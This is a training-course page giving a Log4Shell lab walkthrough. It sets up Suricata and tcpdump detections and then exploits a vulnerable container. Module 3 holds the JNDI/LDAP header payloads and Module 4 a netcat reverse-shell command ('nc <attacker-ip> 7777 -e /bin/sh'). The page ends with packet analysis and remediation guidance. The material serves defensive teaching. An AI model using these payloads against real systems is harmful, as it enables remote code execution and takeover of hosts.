Advanced

Log4j Vulnerability Lab: Video Walkthrough

log4j · vulnerability · video · walkthrough · briefings · networking · systems · security · ldap · server · setting · shell · detections · exploitation · malicious · network · payload · p...

Table of Contents

This walkthrough reproduces, step by step, a hands-on lab that emulates the Log4Shell (Log4j) vulnerability from both the defender’s and the attacker’s perspective. It starts with configuring network detection tooling, moves into standing up attacker infrastructure and firing two exploitation techniques (a proof-of-concept file write and a full reverse shell), and finishes by walking through the resulting detections and packet captures to understand exactly how the exploit behaves on the wire.

Module 1: Lab Overview and Objectives

The lab is built around two Linux endpoints:

  • A Defender Endpoint, which hosts the vulnerable application (running inside a Docker container) and the network detection tooling (Suricata and tcpdump).
  • An Attacker Endpoint, from which reconnaissance, exploitation, and payload delivery are performed.

The walkthrough proceeds in four stages:

  1. Set up the defender’s infrastructure for detection (IDS and full packet capture).
  2. Set up the attacker’s infrastructure and exploit the target using two different techniques — a simple proof-of-concept command execution, then an upgraded reverse shell.
  3. Return to the defender side to analyze the detections and artifacts that were generated.
  4. Gain deeper insight into how the Log4j vulnerability behaves at the network level by inspecting the raw packet capture.
flowchart LR
    A[Set up network detections\non Defender Endpoint] --> B[Stand up malicious LDAP server\non Attacker Endpoint]
    B --> C[Send proof-of-concept payload\nJNDI/LDAP injection]
    C --> D[Upgrade to a reverse shell\nnetcat listener + new payload]
    D --> E[Return to Defender Endpoint\nanalyze Suricata alerts + pcap]
    E --> F[Understand Log4j exploitation\nend to end]

Module 2: Setting Up Network Detections

Understanding the Lab Environment

The lab environment consists of two Ubuntu endpoints reachable over SSH/browser-based terminal access:

HostRoleNotable Software
Defender EndpointHosts the vulnerable application container and runs detection toolingDocker, Suricata, tcpdump, the vulnerable app (vulnapp2 container)
Attacker EndpointUsed to perform reconnaissance and launch the exploitDocker (malicious LDAP server container), curl, netcat
flowchart TB
    subgraph Defender Endpoint
        App["Vulnerable Application\n(Docker container: vulnapp2)\nlistening on :8080"]
        Suricata["Suricata IDS"]
        Tcpdump["tcpdump full packet capture"]
    end
    subgraph Attacker Endpoint
        Curl["curl (recon + exploit delivery)"]
        LDAP["Malicious LDAP Server\n(Docker container: log4jldapserver)\n:1389 LDAP, :8888 secondary channel"]
        NC["netcat listener\n(reverse shell)"]
    end
    Curl -- "malicious HTTP header\n(X-Api-Version: jndi:ldap://...)" --> App
    App -- "JNDI/LDAP lookup" --> LDAP
    LDAP -- "reference + Java class payload" --> App
    App -- "reverse shell connection" --> NC
    Suricata -.monitors.-> App
    Tcpdump -.captures.-> App

Because the operator controls both sides of this lab, the same activity you’d normally only see from a defender’s viewpoint (Suricata alerts, packet captures) can be directly correlated with the exact attacker actions that produced it.

Managing Terminal Sessions with Screen

All work is done through a single browser-based terminal connection, so screen is used to multiplex several long-running and interactive sessions (Suricata, tcpdump, netcat, the LDAP server) without losing them when you move on to another task.

Start by connecting to the Ubuntu Defender Endpoint and create a new named screen session for Suricata:

screen -S suricata

The -S option creates a new session and lets you give it a friendly name so you can reattach to it later.

To detach from any screen session (leaving it running in the background) press Ctrl+A, release, then press D. This returns you to the original terminal.

To see all active screen sessions at any point:

screen -ls

To reattach to a named session:

screen -r <session-name>

Starting Suricata for Intrusion Detection

Suricata is an open-source Intrusion Detection System (IDS) that raises alerts when network traffic matches known-bad signatures. Inside the suricata screen session, start it with:

suricata -S <path-to-log4j-rules-file> -l <log-directory> -i <interface>
  • -S — specifies an exclusive ruleset to load, rather than merging with the default rule set. In this lab it points at a rules file containing signatures pulled from the Emerging Threats ruleset, filtered down to only the ones relevant to Log4j. This same rules file is provided in the course’s GitHub resources.
  • -l — the logging directory where Suricata will write its alert and metadata files.
  • -i — the network interface Suricata should listen on.

When Suricata starts, you may see a warning about a “flowbit” being checked that was never set — this is a harmless artifact of using a trimmed-down rule subset and does not affect detection.

Once it’s running, detach from the screen session with Ctrl+A, D.

Capturing Traffic with Tcpdump

Even though an enterprise environment may not always allow full packet capture, having it available (as in this lab) provides a huge amount of forensic detail. Create a new screen session for tcpdump:

screen -S tcpdump

Then start the capture:

tcpdump -nn -i <interface> -w analysis.pcap 'not port 22 and not port 443'
  • -nn — disables hostname and port name resolution, both for operational security and to make sure you are seeing the raw numeric data rather than resolved names.
  • The BPF filter not port 22 and not port 443 removes noise from the current SSH session (port 22) and the frequent HTTPS chatter these cloud/AWS instances tend to generate (port 443), so the capture stays focused on lab-relevant traffic.
  • -w analysis.pcap — writes the raw captured packets to a file named analysis.pcap for later offline analysis.

Detach from this session as well. Running screen -ls at this point should show both the suricata and tcpdump sessions still alive and capturing.

Validating the Vulnerable Application

The Defender Endpoint also hosts the vulnerable application itself, running inside Docker. Confirm it’s up and listening:

curl localhost:8080

Expected output:

HTTP/1.1 400 Bad Request

A 400 response simply means the request didn’t match what the application expected — it confirms the application is up and responding, not that anything is wrong.

Finally, check the application’s temp directory before any exploitation happens, since the upcoming proof-of-concept payload will write a file there. Because the application runs inside a container, use docker exec to run commands inside it:

sudo docker exec vulnapp2 ls /tmp

vulnapp2 is the name of the vulnerable application’s container. At this point the infrastructure for detection is in place and the target application is confirmed reachable — the lab now moves to the attacker’s side.

Module 3: Setting Up the Malicious LDAP Server and Proof-of-Concept Exploit

Reconnaissance from the Attacker Endpoint

Connect to the Ubuntu Attacker Endpoint. Before attempting exploitation, validate connectivity to the target application:

curl <target-ip>:8080

This returns the same 400 status seen earlier, confirming the application is listening and reachable from the attacker’s position.

This simple connectivity check and “poking” at the application may look like a routine administrative action, but it is exactly the kind of low-and-slow enumeration real adversaries perform before exploitation. A mature detection program should be able to flag this initial reconnaissance activity, not just the exploit itself.

Deploying the Malicious LDAP Server

With connectivity confirmed, stand up the malicious LDAP server that will serve the exploitation payload. Start a new screen session:

screen -S ldap

The LDAP server is provided as a pre-built Docker container. Start it with:

docker run --name log4jldapserver -p 1389:1389 -p 8888:8888 <ldap-server-image>

Key details:

  • --name log4jldapserver — the container name must be exact, since there is DNS trickery relying on this specific name (normally a container can be named anything you like, but not here).
  • -p 1389:1389 — exposes the LDAP listener.
  • -p 8888:8888 — exposes the secondary channel used to serve the follow-up Java class payload.

Deliberately non-standard, easy-to-spot ports are used for this lab (LDAP is normally 389, and a real secondary/command-and-control channel would typically ride over common ports like 443 or 53 to blend in with legitimate traffic). Any protocol can, in principle, be hosted on any port — a skilled adversary will choose ports that blend in, while this lab intentionally uses obvious ones purely to make analysis easier.

Once started, the LDAP server prints confirmation that it is listening on both ports. Leave it running and detach from the screen session.

Understanding the JNDI/LDAP Exploitation Mechanism

The Log4Shell vulnerability is triggered when a string like the following is logged by a vulnerable Log4j instance:

${jndi:ldap://<attacker-ip>:1389/Basic/Command/Base64/<base64-encoded-command>}
  • JNDI stands for Java Naming and Directory Interface — this is the core mechanism the vulnerability abuses. When a vulnerable Log4j version encounters this pattern inside a logged string, it triggers a JNDI lookup.
  • JNDI can perform lookups over multiple protocols (LDAP, RMI, DNS, and others). LDAP is the most commonly used in real-world exploitation because it is the simplest protocol to stand up a malicious server for.
  • The lookup points at the attacker’s LDAP server (IP and port), followed by a path ending in a Base64-encoded string representing the actual command to execute.
sequenceDiagram
    participant Attacker as Attacker (curl)
    participant App as Vulnerable App (:8080)
    participant LDAP as Malicious LDAP Server (:1389)
    participant HTTP as Secondary Channel (:8888)

    Attacker->>App: HTTP request with malicious header\nX-Api-Version: ${jndi:ldap://attacker:1389/...Base64...}
    App->>App: Log4j logs the header value
    App->>LDAP: JNDI lookup over LDAP
    LDAP-->>App: LDAP reference response\n(pointer to Java class on :8888)
    App->>HTTP: HTTP GET for the referenced Java class
    HTTP-->>App: Serves malicious Java class bytecode
    App->>App: Loads and executes the Java class\n(runs the embedded command)
    App-->>Attacker: HTTP 200 "Hello, world"

Sending the Proof-of-Concept Payload

This particular vulnerable application logs the X-Api-Version HTTP header, so that is the injection point used for the exploit. Craft the request with curl, using -H to set the malicious header value:

curl -H 'X-Api-Version: ${jndi:ldap://<attacker-ip>:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZA==}' <target-ip>:8080

The Base64 portion of the payload decodes to a simple Linux command:

echo 'dG91Y2ggL3RtcC9wd25lZA==' | base64 -d
# touch /tmp/pwned

This command simply creates an empty file named pwned inside the application’s temp directory — enough to conclusively prove remote code execution without doing anything destructive.

Expected response from the application:

Hello, world

The Hello, world response is what this particular test application returns for a request it considers otherwise valid — the important part is that the header value containing the JNDI string was accepted and processed by Log4j internally. Real-world Log4Shell payloads are frequently injected via commonly logged fields such as the User-Agent header or values embedded in the request URL — ultimately, any field the vulnerable application happens to log is a viable injection point.

Verifying Exploitation on the LDAP Server and Target

Reattach to the LDAP server’s screen session to see the exploitation unfold from the attacker’s side:

screen -r ldap

The LDAP server output shows, in sequence:

  1. The received LDAP query, including the full Base64-encoded string.
  2. The server’s translation of that Base64 string back into the plaintext command (touch /tmp/pwned).
  3. Internally, the server determines which Java classes need to be loaded on the remote application for the command to execute, and returns a reference telling the target to reach back out over the secondary port.
  4. A follow-up request for the actual Java class information, which the LDAP server’s companion HTTP service on port 8888 serves successfully.

That sequence alone is generally enough to tell an adversary the payload succeeded, but since this lab controls both sides, it can be verified directly. Detach from the LDAP session and switch back to the Ubuntu Defender Endpoint:

sudo docker exec vulnapp2 ls /tmp

Expected output now includes the new file:

pwned

Proof-of-concept execution confirmed. The next step upgrades this from a benign file write to a full reverse shell.

Module 4: Upgrading to a Reverse Shell

Setting Up the Netcat Listener

The reverse shell exploitation follows the same overall process as the proof-of-concept, with one key difference: a listener needs to be running on the attacker side to catch the incoming shell connection, and the payload’s embedded command changes accordingly.

From the Ubuntu Attacker Endpoint, create a new screen session for netcat:

screen -S nc

Start the listener:

nc -lvp 7777
  • -l — puts netcat into listen mode.
  • -v — verbose output, so connection details are displayed as they happen.
  • -p 7777 — sets the listening port. As with the earlier ports, a deliberately unusual port number (7777) is chosen to make it stand out clearly in network traffic and logs.

Detach from the nc session once the listener is running.

Crafting the Reverse Shell Payload

The reverse shell payload uses the exact same request format as the earlier proof-of-concept — only the Base64-encoded command portion changes. This time, the Base64 string decodes to a netcat command that connects back to the attacker’s listener and hands it an interactive shell, for example:

# Example of the underlying command the Base64 string represents:
nc <attacker-ip> 7777 -e /bin/sh

Send the upgraded payload:

curl -H 'X-Api-Version: ${jndi:ldap://<attacker-ip>:1389/Basic/Command/Base64/<reverse-shell-base64>}' <target-ip>:8080

This travels through the exact same JNDI → LDAP → secondary-channel exploitation chain described earlier, only the final executed command differs.

Popping the Shell

Reattach to the netcat session:

screen -r nc

You’ll see a new message indicating a connection has been received from the target endpoint — the shell has been popped. Note that the target application happens to be running a version of netcat old enough to be vulnerable to this style of reverse-shell payload; while such outdated components are less common, they absolutely still exist in real production environments, and the specific shell payload used in an actual engagement would need to match whatever shell/interpreter is actually available on the target.

sequenceDiagram
    participant Attacker as Attacker Endpoint (nc listener :7777)
    participant App as Vulnerable App (:8080)
    participant LDAP as Malicious LDAP Server (:1389 / :8888)

    Attacker->>App: curl request with reverse-shell JNDI payload
    App->>LDAP: JNDI/LDAP lookup
    LDAP-->>App: Reference + malicious Java class
    App->>App: Executes embedded command\n(nc <attacker-ip> 7777 -e /bin/sh)
    App->>Attacker: Outbound connection to netcat listener
    Attacker->>App: Interactive shell commands
    App-->>Attacker: Command output (root shell)

Post-Exploitation Enumeration

With an interactive shell established, some quick post-exploitation enumeration is performed:

uname -a

Reveals basic operating system information about the host.

whoami

Confirms the current user context — in this lab, the application (and therefore the popped shell) runs as root, granting the adversary full access and permissions on the system. This is an important consideration for real applications: if a Log4j-exploited application is not running as root, the adversary would only inherit whatever limited permissions and access that application’s own service account has — meaning detection teams should also watch for follow-on privilege escalation attempts.

env

Displays environment variables, including:

  • The specific version of Java installed on the host (useful reconnaissance for the adversary).
  • The PATH variable, which reveals where relevant binaries are located on the system.

From here, a real adversary would typically move on to establishing persistence or attempting lateral movement, but that is outside the scope of this lab.

Module 5: Analyzing Detections and Network Traffic

Stopping the Capture Tools

Reconnect to the Ubuntu Defender Endpoint to begin analysis. First, stop Suricata:

screen -r suricata

Then press Ctrl+C to stop the running service, and detach.

Repeat the same steps for the tcpdump session (reattach, Ctrl+C, detach) to stop the packet capture.

Listing the lab directory shows three files generated by Suricata:

eve.json
fast.log
stats.log

stats.log contains internal Suricata performance statistics and isn’t relevant to this analysis, so the walkthrough focuses on fast.log and eve.json.

Reviewing Suricata’s fast.log

View the file with word wrap disabled for a cleaner, easier-to-navigate display:

less -S fast.log

fast.log provides a condensed, one-alert-per-line overview. Right away, multiple alerts appear for Apache Log4j RCE (Remote Code Execution) attempts. Scrolling to the right reveals additional basic details, including the source/destination IP addresses and ports involved in each alert.

Exploring eve.json with jq

eve.json contains everything Suricata generates — this is the file that would typically be forwarded to a SIEM or security sensor for centralized correlation in a real environment. View it with jq, a command-line utility that makes reading and filtering JSON output much easier:

cat eve.json | jq

Browsing the raw output shows general protocol statistics and metadata entries that aren’t directly related to alerts — Suricata generates this network metadata regardless of whether an alert fires, which is valuable supplemental context, especially in environments without full packet capture.

To filter down to only the alert events:

cat eve.json | jq 'select(.event_type=="alert")'

This surfaces the same basic information seen in fast.log, but with significantly more detail. Because these particular alerts are based on an HTTP conversation, Suricata also captures HTTP metadata such as the hostname, user agent, and HTTP method. Notably, the X-Api-Version header used for the actual exploit is not present in this metadata — Suricata does not consider that a default field worth extracting for every HTTP conversation.

Identifying Indicators of Compromise

Several data points inside the HTTP metadata stand out as anomalous compared to typical, legitimate traffic:

IndicatorObserved ValueWhy It’s Suspicious
User-Agentcurl/<version>Real browser traffic typically starts with Mozilla followed by browser-specific details (e.g., Chrome, Firefox); a bare curl UA is unusual for a normal web application user
Flow bytes/packetsBaseline-dependentEstablishing a normal baseline for a given application lets analysts spot conversations that send unusually little or unusually much data

Establishing what “normal” looks like for a given application’s traffic is critical — these indicators are only meaningful relative to a known baseline.

Correlating Events by Flow ID

Suricata assigns a flow ID to every conversation it observes. Once an alert of interest is identified, its flow ID can be used to pull every log entry — protocol metadata as well as the alert itself — related to that single conversation:

cat eve.json | jq 'select(.flow_id==<flow-id-value>)'

This kind of pivot is central to incident response: gathering every available artifact and network event tied to a single conversation helps analysts reconstruct the full story of what actually happened.

For a quick analytics pass across all alerts, extract just the source IP field and get a unique count:

cat eve.json | jq 'select(.event_type=="alert") | .src_ip' | sort | uniq -c

In this lab, this reveals a total of 16 alerts coming from a single attacking IP address. Because the lab only has one attacker, this list is understandably small — but on a real enterprise network generating potentially thousands of alerts per day, this same source-IP aggregation technique is an efficient way to triage and prioritize investigation.

flowchart TD
    A[Stop Suricata and tcpdump] --> B["Review fast.log\n(quick alert overview)"]
    B --> C["Explore eve.json with jq\n(full alert + metadata detail)"]
    C --> D["Identify IOCs\nraw-IP hostname, curl user agent, flow size"]
    D --> E["Pivot by flow_id\ncorrelate all events per conversation"]
    E --> F["Aggregate src_ip\ncount alerts per attacker"]
    F --> G["Deep-dive with tcpdump\nport-by-port packet analysis"]

Deep-Dive Packet Analysis with Tcpdump

With Suricata-derived artifacts gathered, the walkthrough moves to the full packet capture (analysis.pcap) for a lower-level view of exactly how the Log4j exploit behaves on the wire.

Start with a high-level view, filtering on the attacking host:

tcpdump -r analysis.pcap host <attacker-ip>

Even though this lab only has two hosts, gathering artifacts and then progressively filtering traffic down to a single host of interest mirrors real incident response methodology. This view reveals the overall order of conversations: requests over port 8080 first, followed by connections over 1389.

Port 8080 (initial requests):

tcpdump -r analysis.pcap -vvv port 8080

-vvv increases verbosity for a more detailed view of each packet. This shows the initial GET request used purely to test connectivity, followed by the next conversation containing the X-Api-Version header with the malicious JNDI string embedded in it.

To pull out and de-duplicate any interesting field or string of interest from the capture:

tcpdump -r analysis.pcap -A port 8080 | grep 'X-Api-Version' | sort | uniq

A broader search for the string jndi across the whole capture can also surface interesting results, though this approach becomes far less practical and much noisier on larger, real-world traffic captures:

tcpdump -r analysis.pcap -A | grep -i jndi

Port 1389 (LDAP conversation):

tcpdump -r analysis.pcap -X port 1389

-X displays the complete packet contents in both ASCII and hex. This shows the application’s request to the LDAP server carrying the Base64 string, followed by the LDAP server’s response containing a reference to port 8888 along with the necessary Java class information. This conversation is intentionally small — the LDAP exchange itself is brief before handing off to the secondary channel.

Port 8888 (secondary channel — Java class delivery):

tcpdump -r analysis.pcap -X port 8888

This reveals the GET request where the user agent is Java/1.8 — notably, it is the Java runtime itself making the request for the additional payload/code over plain HTTP, not a browser or curl. Scrolling further shows a much larger packet containing the full Java bytecode being loaded to support whichever command is being executed, and near the end of the conversation, the actual command appears in clear text.

Port 7777 (reverse shell traffic):

tcpdump -r analysis.pcap -A port 7777

Since this is a deliberately basic, unencrypted reverse shell, every command sent to the shell and every response received back from the application is visible in clear text in the capture — a stark illustration of why unencrypted post-exploitation channels are so easy to fully reconstruct forensically once captured.

PortPurposeKey Artifact Observed
8080Vulnerable application (HTTP)Initial recon GET, then malicious X-Api-Version header with JNDI string
1389Malicious LDAP serverBase64 request; LDAP reference response pointing to port 8888
8888Secondary channel (Java class delivery)GET from Java/1.8 user agent; large packet with Java bytecode; command in clear text
7777Netcat reverse shellFully clear-text interactive shell session
22SSH (excluded from capture)Management/administrative access to the lab hosts
443HTTPS (excluded from capture)Background cloud/AWS instance noise, filtered out to reduce capture clutter

This wraps up the guided portion of the lab. From here, further experimentation — modifying the exploit strings, trying different injection points, and re-examining the resulting network traffic — helps build a deeper, more intuitive understanding of exactly how the Log4j vulnerability behaves end to end.

Summary

This lab walkthrough demonstrated the full lifecycle of a Log4Shell (Log4j) exploitation scenario, from both the defender’s and the attacker’s perspective:

  • Detection setup: Suricata (IDS, using a Log4j-focused Emerging Threats rule subset) and tcpdump (full packet capture) were configured on the defender side using screen to manage multiple long-running terminal sessions.
  • Exploitation infrastructure: A malicious LDAP server (Docker container log4jldapserver, ports 1389/8888) was stood up on the attacker side to serve JNDI lookup responses and malicious Java class payloads.
  • Proof of concept: A crafted X-Api-Version HTTP header containing ${jndi:ldap://...} triggered the vulnerable application to perform a JNDI/LDAP lookup, ultimately executing a harmless touch /tmp/pwned command to prove remote code execution.
  • Reverse shell upgrade: The same injection technique, with a different Base64-encoded payload, was used to trigger an outbound connection to a netcat listener, yielding a fully interactive (root) shell on the vulnerable host.
  • Detection and analysis: Suricata’s fast.log and eve.json alerts, correlated by flow_id and aggregated by source IP, were used to identify the attack. A deep-dive packet capture analysis across ports 8080, 1389, 8888, and 7777 confirmed exactly how the JNDI/LDAP exploitation chain and reverse shell unfolded at the network level.

Remediation Checklist

ActionWhy It Matters
Upgrade Log4j to a patched version (2.17.1 or later in the 2.x line, or migrate off vulnerable 1.x branches)Removes the vulnerable JNDI message-lookup behavior entirely
Set log4j2.formatMsgNoLookups=true (or equivalent JVM/environment property) on systems that cannot be immediately patchedDisables message lookup substitution as a stop-gap mitigation
Restrict outbound connectivity from application servers to arbitrary LDAP/RMI/DNS/HTTP destinationsBreaks the callback chain the exploit relies on, even if the vulnerable code path is triggered
Run application containers/services with least-privilege, non-root accountsLimits the blast radius of any successful exploitation attempt
Deploy IDS/IPS signatures (e.g., Emerging Threats Log4j rules) and enable full packet capture where feasibleEnables detection of both the initial exploitation attempt and any follow-on command execution
Monitor for anomalous HTTP indicators (raw-IP hostnames, non-browser user agents, unusual flow sizes)Surfaces exploitation attempts that may not match a specific signature
Baseline and monitor outbound connections from application hostsHelps detect reverse shells and other unexpected outbound callbacks
Log and centrally correlate IDS alerts (e.g., via flow_id in SIEM tooling)Speeds up incident response and reduces time-to-detect across large alert volumes
Vulnerable ComponentReference
Apache Log4j 2.x (message lookup substitution)Publicly tracked as CVE-2021-44228 (“Log4Shell”)
Follow-on Log4j 2.x issues after the initial fixCVE-2021-45046, CVE-2021-45105, CVE-2021-44832
Fully remediated Log4j 2.x release line2.17.1 and later

Search Terms

log4j · vulnerability · video · walkthrough · briefings · networking · systems · security · ldap · server · setting · shell · detections · exploitation · malicious · network · payload · proof-of-concept · reverse · suricata · tcpdump · traffic

More Vulnerability Briefings courses

View all 30

Interested in this course?

Contact us to book it or get a custom training plan for your team.